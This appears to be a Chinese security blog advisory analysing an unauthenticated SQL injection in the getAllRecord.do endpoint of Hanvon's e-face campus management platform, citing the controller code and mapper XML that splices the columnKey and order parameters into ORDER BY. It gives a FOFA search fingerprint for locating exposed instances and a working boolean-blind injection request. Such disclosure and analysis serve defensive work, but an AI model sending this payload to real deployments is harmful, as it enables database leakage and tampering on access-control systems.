汉王e脸通综合管理平台 getAllRecord.do SQL注入漏洞


漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 getAllRecord.do 接口存在 SQL注入漏洞。攻击者可在无需认证的情况下,通过构造恶意请求参数注入恶意 SQL 语句,导致数据库信息泄露、数据篡改甚至系统权限提升,影响系统数据安全和完整性。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

直接看 PatrolRecordController 里关于 getAllRecord 的实现

@RequestMapping(
    value = {"getAllRecord"},
    method = {RequestMethod.GET}
)
@ResponseBody
public RequestJson getAllRecord(Integer page, Integer pageSize, String key, Long communityId, @DateTimeFormat(pattern = "yyyy-MM-dd") Date startTime, @DateTimeFormat(pattern = "yyyy-MM-dd") Date endTime, Long planId, Long lineId, Long teamId, String order, String columnKey) {
    RequestJson result = new RequestJson();

    try {
        if (page == null) {
            page = Constants.DEFAULT_START_PAGE_INDEX;
        }

        if (pageSize == null) {
            pageSize = Constants.PAGE_SIZE;
        }

        PatrolRecordParams record = new PatrolRecordParams();
        record.setDomainId(communityId);
        record.setKey(key);
        record.setPlanId(planId);
        record.setLineId(lineId);
        record.setTeamId(teamId);
        record.setStartTime(startTime);
        record.setEndTime(endTime);
        record.setOrder(order);
        record.setColumnKey(columnKey);
        PageHelper.startPage(page, pageSize);
        List<PatrolRecordVO> patrolRecordList = this.patrolRecordBsm.queryAllPatrolRecord(record);

public List<PatrolRecordVO> queryAllPatrolRecord(PatrolRecordParams record) {
List<PatrolRecordVO> recordVOList = this.patrolRecordDsm.queryAllPatrolRecord(record);

List<PatrolRecordVO> queryAllPatrolRecord(PatrolRecordParams var1);

和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多,直接看对应的 mapper xml文件 PatrolRecordDsm.xml

<select id="queryAllPatrolRecord" resultMap="BaseResultMap2">
    SELECT pr.ID,pl.ROUTE_NAME LINE_NAME,ppl.NAME POINT_NAME,pt.TEAM_NAME teamName,pr.SIGN_TIME,pr.DEVICE_ID,pr.EMPLOYEE_ID
    FROM PATROL_RECORD pr
    LEFT JOIN PATROL_LINE pl on pl.ID = pr.LINE_ID
    LEFT JOIN PATROL_POINT ppl on ppl.ID = pr.POINT_ID
    LEFT JOIN PATROL_TEAM pt on pt.ID = pr.TEAM_ID
    where 1 = 1
    <if test="teamId != null">
        and pr.TEAM_ID = #{teamId}
    </if>
    <if test="lineId != null">
        and pr.LINE_ID = #{lineId}
    </if>
    <if test="startTime != null ">
        and date(pr.SIGN_TIME) &gt;= date(#{startTime})
    </if>
    <if test="endTime != null ">
        and  date(#{endTime}) &gt;= date(pr.SIGN_TIME)
    </if>
    <if test="domainId != null">
        and pr.DOMAIN_ID = #{domainId}
    </if>
     order by
        <if test="order == null or order == ''">
             pr.SIGN_TIME desc
        </if>
        <if test="order != null and order != ''">
             ${columnKey} ${order}
        </if>
</select>

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中,导致攻击者可构造恶意输入执行任意 SQL 命令,造成SQL注入漏洞。

getDailyPatrolRecord.do 也存在同样的sql注入漏洞

漏洞复现

布尔盲注

GET /manage/patrolRecord/getAllRecord.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=pr.SIGN_TIME+RLIKE+(SELECT+(CASE+WHEN+(2962%3d2962)+THEN+0x70722e5349474e5f54494d45+ELSE+0x28+END))%23+wAOm&order=desc&id=2&startTime=2025-05-02&endTime=2025-05-03&communityId=1&planId=1&lineId=1&teamId=1 HTTP/1.1
Host: hanvon.mrxn.net

条件不等时

响应结果是不一样的


手机扫码阅读

西部数码 NAS modUserName.php 命令执行漏洞

西部数码 NAS php/upload.php 命令执行漏洞

评 论